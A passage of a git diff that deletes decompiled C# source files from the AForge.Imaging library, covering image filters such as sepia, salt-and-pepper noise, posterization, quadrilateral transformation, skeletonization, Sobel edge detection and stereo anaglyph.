formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int ThresholdValue => thresholdFilter.ThresholdValue; - - public SISThreshold() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public int CalculateThreshold(Bitmap image, Rectangle rect) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - int num = 0; - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return CalculateThreshold(val, rect); - } - finally - { - image.UnlockBits(val); - } - } - - public int CalculateThreshold(BitmapData image, Rectangle rect) - { - return CalculateThreshold(new UnmanagedImage(image), rect); - } - - public unsafe int CalculateThreshold(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the routine."); - } - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = num - 1; - int num4 = num2 - 1; - int stride = image.Stride; - int num5 = stride - rect.Width; - double num6 = 0.0; - double num7 = 0.0; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left; - ptr += stride; - for (int i = top + 1; i < num4; i++) - { - ptr++; - int num8 = left + 1; - while (num8 < num3) - { - double num9 = System.Math.Abs(ptr[1] - ptr[-1]); - double num10 = System.Math.Abs(ptr[stride] - ptr[-stride]); - double num11 = ((num9 > num10) ? num9 : num10); - num6 += num11; - num7 += num11 * (double)(int)(*ptr); - num8++; - ptr++; - } - ptr += num5 + 1; - } - if (num6 != 0.0) - { - return (byte)(num7 / num6); - } - return 0; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - thresholdFilter.ThresholdValue = CalculateThreshold(image, rect); - thresholdFilter.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaltAndPepperNoise.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaltAndPepperNoise.cs deleted file mode 100644 index 2a0cc5c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaltAndPepperNoise.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SaltAndPepperNoise : BaseInPlacePartialFilter -{ - private double noiseAmount = 10.0; - - private Random rand = new Random(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double NoiseAmount - { - get - { - return noiseAmount; - } - set - { - noiseAmount = System.Math.Max(0.0, System.Math.Min(100.0, value)); - } - } - - public SaltAndPepperNoise() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public SaltAndPepperNoise(double noiseAmount) - : this() - { - this.noiseAmount = noiseAmount; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0067: Unknown result type (might be due to invalid IL or missing references) - //IL_0071: Invalid comparison between Unknown and I4 - //IL_00c1: Unknown result type (might be due to invalid IL or missing references) - //IL_00cb: Invalid comparison between Unknown and I4 - int left = rect.Left; - int top = rect.Top; - int width = rect.Width; - int height = rect.Height; - int stride = image.Stride; - int num = (int)((double)(width * height) * noiseAmount / 100.0); - byte[] array = new byte[2] { 0, 255 }; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - for (int i = 0; i < num; i++) - { - int num2 = left + rand.Next(width); - int num3 = top + rand.Next(height); - ptr[num3 * stride + num2] = array[rand.Next(2)]; - } - return; - } - int num4 = (((int)image.PixelFormat == 137224) ? 3 : 4); - for (int j = 0; j < num; j++) - { - int num5 = left + rand.Next(width); - int num6 = top + rand.Next(height); - int num7 = rand.Next(3); - ptr[num6 * stride + num5 * num4 + num7] = array[rand.Next(2)]; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaturationCorrection.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaturationCorrection.cs deleted file mode 100644 index d44fd1c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SaturationCorrection.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SaturationCorrection : BaseInPlacePartialFilter -{ - private HSLLinear baseFilter = new HSLLinear(); - - private float adjustValue; - - private Dictionary formatTranslations = new Dictionary(); - - public float AdjustValue - { - get - { - return adjustValue; - } - set - { - adjustValue = System.Math.Max(-1f, System.Math.Min(1f, value)); - if (adjustValue > 0f) - { - baseFilter.InSaturation = new Range(0f, 1f - adjustValue); - baseFilter.OutSaturation = new Range(adjustValue, 1f); - } - else - { - baseFilter.InSaturation = new Range(0f - adjustValue, 1f); - baseFilter.OutSaturation = new Range(0f, 1f + adjustValue); - } - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public SaturationCorrection() - : this(0.1f) - { - } - - public SaturationCorrection(float adjustValue) - { - AdjustValue = adjustValue; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - baseFilter.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sepia.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sepia.cs deleted file mode 100644 index c947677..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sepia.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Sepia : BaseInPlacePartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Sepia() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - byte b = (byte)(0.299 * (double)(int)ptr[2] + 0.587 * (double)(int)ptr[1] + 0.114 * (double)(int)(*ptr)); - ptr[2] = (byte)((b > 206) ? 255u : ((uint)(b + 49))); - ptr[1] = (byte)((b >= 14) ? ((uint)(b - 14)) : 0u); - *ptr = (byte)((b >= 56) ? ((uint)(b - 56)) : 0u); - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sharpen.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sharpen.cs deleted file mode 100644 index 135a215..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Sharpen.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class Sharpen : Convolution -{ - public Sharpen() - : base(new int[3, 3] - { - { 0, -1, 0 }, - { -1, 5, -1 }, - { 0, -1, 0 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Shrink.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Shrink.cs deleted file mode 100644 index 4fb49eb..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Shrink.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Shrink : BaseTransformationFilter -{ - private Color colorToRemove = Color.FromArgb(0, 0, 0); - - private int minX; - - private int minY; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color ColorToRemove - { - get - { - return colorToRemove; - } - set - { - colorToRemove = value; - } - } - - public Shrink() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public Shrink(Color colorToRemove) - : this() - { - this.colorToRemove = colorToRemove; - } - - protected unsafe override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001f: Invalid comparison between Unknown and I4 - //IL_0075: Unknown result type (might be due to invalid IL or missing references) - //IL_007f: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - int num = sourceData.Stride - (((int)sourceData.PixelFormat == 198659) ? width : (width * 3)); - byte r = colorToRemove.R; - byte g = colorToRemove.G; - byte b = colorToRemove.B; - minX = width; - minY = height; - int num2 = 0; - int num3 = 0; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - if ((int)sourceData.PixelFormat == 198659) - { - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - if (*ptr != g) - { - if (num4 < minX) - { - minX = num4; - } - if (num4 > num2) - { - num2 = num4; - } - if (i < minY) - { - minY = i; - } - if (i > num3) - { - num3 = i; - } - } - num4++; - ptr++; - } - ptr += num; - } - } - else - { - for (int j = 0; j < height; j++) - { - int num5 = 0; - while (num5 < width) - { - if (ptr[2] != r || ptr[1] != g || *ptr != b) - { - if (num5 < minX) - { - minX = num5; - } - if (num5 > num2) - { - num2 = num5; - } - if (j < minY) - { - minY = j; - } - if (j > num3) - { - num3 = j; - } - } - num5++; - ptr += 3; - } - ptr += num; - } - } - if (minX == width && minY == height && num2 == 0 && num3 == 0) - { - minX = (minY = 0); - } - return new Size(num2 - minX + 1, num3 - minY + 1); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0050: Unknown result type (might be due to invalid IL or missing references) - //IL_005a: Invalid comparison between Unknown and I4 - int width = destinationData.Width; - int height = destinationData.Height; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num = width; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += (nint)minY * (nint)stride; - if ((int)destinationData.PixelFormat == 198659) - { - ptr += minX; - } - else - { - ptr += (nint)minX * (nint)3; - num *= 3; - } - for (int i = 0; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr, num); - ptr2 += stride2; - ptr += stride; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SierraDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SierraDithering.cs deleted file mode 100644 index cffe582..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SierraDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class SierraDithering : ErrorDiffusionToAdjacentNeighbors -{ - public SierraDithering() - : base(new int[3][] - { - new int[2] { 5, 3 }, - new int[5] { 2, 4, 5, 4, 2 }, - new int[3] { 2, 3, 2 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimplePosterization.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimplePosterization.cs deleted file mode 100644 index cc74545..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimplePosterization.cs +++ /dev/null @@ -1,111 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SimplePosterization : BaseInPlacePartialFilter -{ - public enum PosterizationFillingType - { - Min, - Max, - Average - } - - private byte posterizationInterval = 64; - - private PosterizationFillingType fillingType = PosterizationFillingType.Average; - - private Dictionary formatTranslations = new Dictionary(); - - public byte PosterizationInterval - { - get - { - return posterizationInterval; - } - set - { - posterizationInterval = value; - } - } - - public PosterizationFillingType FillingType - { - get - { - return fillingType; - } - set - { - fillingType = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public SimplePosterization() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - } - - public SimplePosterization(PosterizationFillingType fillingType) - : this() - { - this.fillingType = fillingType; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00d3: Unknown result type (might be due to invalid IL or missing references) - //IL_00dd: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - int num5 = ((fillingType != PosterizationFillingType.Min) ? ((fillingType == PosterizationFillingType.Max) ? (posterizationInterval - 1) : (posterizationInterval / 2)) : 0); - byte[] array = new byte[256]; - for (int i = 0; i < 256; i++) - { - array[i] = (byte)System.Math.Min(255, i / posterizationInterval * posterizationInterval + num5); - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - if ((int)image.PixelFormat == 198659) - { - for (int j = top; j < num3; j++) - { - int num6 = left; - while (num6 < num2) - { - *ptr = array[*ptr]; - num6++; - ptr++; - } - ptr += num4; - } - return; - } - for (int k = top; k < num3; k++) - { - int num7 = left; - while (num7 < num2) - { - ptr[2] = array[ptr[2]]; - ptr[1] = array[ptr[1]]; - *ptr = array[*ptr]; - num7++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleQuadrilateralTransformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleQuadrilateralTransformation.cs deleted file mode 100644 index d9c5dc9..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleQuadrilateralTransformation.cs +++ /dev/null @@ -1,293 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SimpleQuadrilateralTransformation : BaseTransformationFilter -{ - private bool automaticSizeCalculaton = true; - - private bool useInterpolation = true; - - private Dictionary formatTranslations = new Dictionary(); - - protected int newWidth; - - protected int newHeight; - - private List sourceQuadrilateral; - - public override Dictionary FormatTranslations => formatTranslations; - - public bool AutomaticSizeCalculaton - { - get - { - return automaticSizeCalculaton; - } - set - { - automaticSizeCalculaton = value; - if (value) - { - CalculateDestinationSize(); - } - } - } - - public List SourceQuadrilateral - { - get - { - return sourceQuadrilateral; - } - set - { - sourceQuadrilateral = value; - if (automaticSizeCalculaton) - { - CalculateDestinationSize(); - } - } - } - - public int NewWidth - { - get - { - return newWidth; - } - set - { - if (!automaticSizeCalculaton) - { - newWidth = System.Math.Max(1, value); - } - } - } - - public int NewHeight - { - get - { - return newHeight; - } - set - { - if (!automaticSizeCalculaton) - { - newHeight = System.Math.Max(1, value); - } - } - } - - public bool UseInterpolation - { - get - { - return useInterpolation; - } - set - { - useInterpolation = value; - } - } - - public SimpleQuadrilateralTransformation() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - public SimpleQuadrilateralTransformation(List sourceQuadrilateral, int newWidth, int newHeight) - : this() - { - automaticSizeCalculaton = false; - this.sourceQuadrilateral = sourceQuadrilateral; - this.newWidth = newWidth; - this.newHeight = newHeight; - } - - public SimpleQuadrilateralTransformation(List sourceQuadrilateral) - : this() - { - automaticSizeCalculaton = true; - this.sourceQuadrilateral = sourceQuadrilateral; - CalculateDestinationSize(); - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - if (sourceQuadrilateral == null) - { - throw new NullReferenceException("Source quadrilateral was not set."); - } - return new Size(newWidth, newHeight); - } - - private void CalculateDestinationSize() - { - if (sourceQuadrilateral == null) - { - throw new NullReferenceException("Source quadrilateral was not set."); - } - newWidth = (int)System.Math.Max(sourceQuadrilateral[0].DistanceTo(sourceQuadrilateral[1]), sourceQuadrilateral[2].DistanceTo(sourceQuadrilateral[3])); - newHeight = (int)System.Math.Max(sourceQuadrilateral[1].DistanceTo(sourceQuadrilateral[2]), sourceQuadrilateral[3].DistanceTo(sourceQuadrilateral[0])); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - if (sourceQuadrilateral[1].X == sourceQuadrilateral[0].X) - { - double num2 = 0.0; - _ = sourceQuadrilateral[1].X; - } - else - { - double num2 = (double)(sourceQuadrilateral[1].Y - sourceQuadrilateral[0].Y) / (double)(sourceQuadrilateral[1].X - sourceQuadrilateral[0].X); - _ = sourceQuadrilateral[0].Y; - _ = sourceQuadrilateral[0].X; - } - if (sourceQuadrilateral[2].X == sourceQuadrilateral[3].X) - { - double num3 = 0.0; - _ = sourceQuadrilateral[2].X; - } - else - { - double num3 = (double)(sourceQuadrilateral[2].Y - sourceQuadrilateral[3].Y) / (double)(sourceQuadrilateral[2].X - sourceQuadrilateral[3].X); - _ = sourceQuadrilateral[3].Y; - _ = sourceQuadrilateral[3].X; - } - double num4; - double num5; - if (sourceQuadrilateral[3].X == sourceQuadrilateral[0].X) - { - num4 = 0.0; - num5 = sourceQuadrilateral[3].X; - } - else - { - num4 = (double)(sourceQuadrilateral[3].Y - sourceQuadrilateral[0].Y) / (double)(sourceQuadrilateral[3].X - sourceQuadrilateral[0].X); - num5 = (double)sourceQuadrilateral[0].Y - num4 * (double)sourceQuadrilateral[0].X; - } - double num6; - double num7; - if (sourceQuadrilateral[2].X == sourceQuadrilateral[1].X) - { - num6 = 0.0; - num7 = sourceQuadrilateral[2].X; - } - else - { - num6 = (double)(sourceQuadrilateral[2].Y - sourceQuadrilateral[1].Y) / (double)(sourceQuadrilateral[2].X - sourceQuadrilateral[1].X); - num7 = (double)sourceQuadrilateral[1].Y - num6 * (double)sourceQuadrilateral[1].X; - } - double num8 = (double)(sourceQuadrilateral[3].Y - sourceQuadrilateral[0].Y) / (double)height2; - double num9 = (double)(sourceQuadrilateral[2].Y - sourceQuadrilateral[1].Y) / (double)height2; - int y = sourceQuadrilateral[0].Y; - int y2 = sourceQuadrilateral[1].Y; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int num10 = height - 1; - int num11 = width - 1; - for (int i = 0; i < height2; i++) - { - byte* ptr3 = ptr2 + (nint)stride2 * (nint)i; - double num12 = num8 * (double)i + (double)y; - double num13 = ((num4 == 0.0) ? num5 : ((num12 - num5) / num4)); - double num14 = num9 * (double)i + (double)y2; - double num15 = ((num6 == 0.0) ? num7 : ((num14 - num7) / num6)); - double num16; - double num17; - if (num13 == num15) - { - num16 = 0.0; - num17 = num15; - } - else - { - num16 = (num14 - num12) / (num15 - num13); - num17 = num12 - num16 * num13; - } - double num18 = (num15 - num13) / (double)width2; - if (!useInterpolation) - { - for (int j = 0; j < width2; j++) - { - double num19 = num18 * (double)j + num13; - double num20 = num16 * num19 + num17; - if (num19 >= 0.0 && num20 >= 0.0 && num19 < (double)width && num20 < (double)height) - { - byte* ptr4 = ptr + ((int)num20 * stride + (int)num19 * num); - int num21 = 0; - while (num21 < num) - { - *ptr3 = *ptr4; - num21++; - ptr3++; - ptr4++; - } - } - else - { - ptr3 += num; - } - } - continue; - } - for (int k = 0; k < width2; k++) - { - double num22 = num18 * (double)k + num13; - double num23 = num16 * num22 + num17; - if (num22 >= 0.0 && num23 >= 0.0 && num22 < (double)width && num23 < (double)height) - { - int num24 = (int)num22; - int num25 = ((num24 == num11) ? num24 : (num24 + 1)); - double num26 = num22 - (double)num24; - double num27 = 1.0 - num26; - int num28 = (int)num23; - int num29 = ((num28 == num10) ? num28 : (num28 + 1)); - double num30 = num23 - (double)num28; - double num31 = 1.0 - num30; - byte* ptr6; - byte* ptr5 = (ptr6 = ptr + (nint)num28 * (nint)stride); - ptr5 += (nint)num24 * (nint)num; - ptr6 += (nint)num25 * (nint)num; - byte* ptr8; - byte* ptr7 = (ptr8 = ptr + (nint)num29 * (nint)stride); - ptr7 += (nint)num24 * (nint)num; - ptr8 += (nint)num25 * (nint)num; - int num32 = 0; - while (num32 < num) - { - *ptr3 = (byte)(num31 * (num27 * (double)(int)(*ptr5) + num26 * (double)(int)(*ptr6)) + num30 * (num27 * (double)(int)(*ptr7) + num26 * (double)(int)(*ptr8))); - num32++; - ptr3++; - ptr5++; - ptr6++; - ptr7++; - ptr8++; - } - } - else - { - ptr3 += num; - } - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleSkeletonization.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleSkeletonization.cs deleted file mode 100644 index ba93eed..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SimpleSkeletonization.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SimpleSkeletonization : BaseUsingCopyPartialFilter -{ - private byte bg; - - private byte fg = byte.MaxValue; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public byte Background - { - get - { - return bg; - } - set - { - bg = value; - } - } - - public byte Foreground - { - get - { - return fg; - } - set - { - fg = value; - } - } - - public SimpleSkeletonization() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public SimpleSkeletonization(byte bg, byte fg) - : this() - { - this.bg = bg; - this.fg = fg; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num3 = stride - rect.Width; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - byte* ptr3 = ptr; - byte* ptr4 = ptr2; - ptr3 += top * stride + left; - ptr4 += (nint)top * (nint)stride2; - for (int i = top; i < num2; i++) - { - SystemTools.SetUnmanagedMemory(ptr4 + left, bg, num - left); - int num4 = -1; - int num5 = left; - while (num5 < num) - { - if (num4 == -1) - { - if (*ptr3 == fg) - { - num4 = num5; - } - } - else if (*ptr3 != fg) - { - ptr4[num4 + (num5 - num4 >> 1)] = fg; - num4 = -1; - } - num5++; - ptr3++; - } - if (num4 != -1) - { - ptr4[num4 + (num - num4 >> 1)] = fg; - } - ptr3 += num3; - ptr4 += stride2; - } - ptr += (nint)top * (nint)stride; - for (int j = left; j < num; j++) - { - ptr3 = ptr + j; - ptr4 = ptr2 + j; - int num4 = -1; - int num6 = top; - while (num6 < num2) - { - if (num4 == -1) - { - if (*ptr3 == fg) - { - num4 = num6; - } - } - else if (*ptr3 != fg) - { - ptr4[(nint)stride2 * (nint)(num4 + (num6 - num4 >> 1))] = fg; - num4 = -1; - } - num6++; - ptr3 += stride; - } - if (num4 != -1) - { - ptr4[(nint)stride2 * (nint)(num4 + (num2 - num4 >> 1))] = fg; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SobelEdgeDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SobelEdgeDetector.cs deleted file mode 100644 index cea2ef2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SobelEdgeDetector.cs +++ /dev/null @@ -1,85 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SobelEdgeDetector : BaseUsingCopyPartialFilter -{ - private bool scaleIntensity = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public bool ScaleIntensity - { - get - { - return scaleIntensity; - } - set - { - scaleIntensity = value; - } - } - - public SobelEdgeDetector() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = num + rect.Width - 2; - int num4 = num2 + rect.Height - 2; - int stride = destination.Stride; - int stride2 = source.Stride; - int num5 = stride - rect.Width + 2; - int num6 = stride2 - rect.Width + 2; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += stride2 * num2 + num; - ptr2 += stride * num2 + num; - double num7 = 0.0; - for (int i = num2; i < num4; i++) - { - int num8 = num; - while (num8 < num3) - { - double num9 = System.Math.Min(255, System.Math.Abs(ptr[-stride2 - 1] + ptr[-stride2 + 1] - ptr[stride2 - 1] - ptr[stride2 + 1] + 2 * (ptr[-stride2] - ptr[stride2])) + System.Math.Abs(ptr[-stride2 + 1] + ptr[stride2 + 1] - ptr[-stride2 - 1] - ptr[stride2 - 1] + 2 * (ptr[1] - ptr[-1]))); - if (num9 > num7) - { - num7 = num9; - } - *ptr2 = (byte)num9; - num8++; - ptr++; - ptr2++; - } - ptr += num6; - ptr2 += num5; - } - if (scaleIntensity && num7 != 255.0) - { - double num10 = 255.0 / num7; - ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr2 += stride * num2 + num; - for (int j = num2; j < num4; j++) - { - int num11 = num; - while (num11 < num3) - { - *ptr2 = (byte)(num10 * (double)(int)(*ptr2)); - num11++; - ptr2++; - } - ptr2 += num5; - } - } - Drawing.Rectangle(destination, rect, Color.Black); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StereoAnaglyph.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StereoAnaglyph.cs deleted file mode 100644 index f1fedc2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StereoAnaglyph.cs +++ /dev/null @@ -1,152 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class StereoAnaglyph : BaseInPlaceFilter2 -{ - public enum Algorithm - { - TrueAnaglyph, - GrayAnaglyph, - ColorAnaglyph, - HalfColorAnaglyph, - OptimizedAnaglyph - } - - private Algorithm anaglyphAlgorithm = Algorithm.GrayAnaglyph; - - private Dictionary formatTranslations = new Dictionary(); - - public Algorithm AnaglyphAlgorithm - { - get - { - return anaglyphAlgorithm; - } - set - { - anaglyphAlgorithm = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public StereoAnaglyph() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public StereoAnaglyph(Algorithm anaglyphAlgorithm) - : this() - { - this.anaglyphAlgorithm = anaglyphAlgorithm; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - int width = image.Width; - int height = image.Height; - int num = image.Stride - width * 3; - int num2 = overlay.Stride - width * 3; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - switch (anaglyphAlgorithm) - { - case Algorithm.TrueAnaglyph: - { - for (int j = 0; j < height; j++) - { - int num4 = 0; - while (num4 < width) - { - ptr[2] = (byte)((double)(int)ptr[2] * 0.299 + (double)(int)ptr[1] * 0.587 + (double)(int)(*ptr) * 0.114); - ptr[1] = 0; - *ptr = (byte)((double)(int)ptr2[2] * 0.299 + (double)(int)ptr2[1] * 0.587 + (double)(int)(*ptr2) * 0.114); - num4++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - break; - } - case Algorithm.GrayAnaglyph: - { - for (int l = 0; l < height; l++) - { - int num6 = 0; - while (num6 < width) - { - ptr[2] = (byte)((double)(int)ptr[2] * 0.299 + (double)(int)ptr[1] * 0.587 + (double)(int)(*ptr) * 0.114); - ptr[1] = (byte)((double)(int)ptr2[2] * 0.299 + (double)(int)ptr2[1] * 0.587 + (double)(int)(*ptr2) * 0.114); - *ptr = ptr[1]; - num6++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - break; - } - case Algorithm.ColorAnaglyph: - { - for (int m = 0; m < height; m++) - { - int num7 = 0; - while (num7 < width) - { - ptr[1] = ptr2[1]; - *ptr = *ptr2; - num7++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - break; - } - case Algorithm.HalfColorAnaglyph: - { - for (int k = 0; 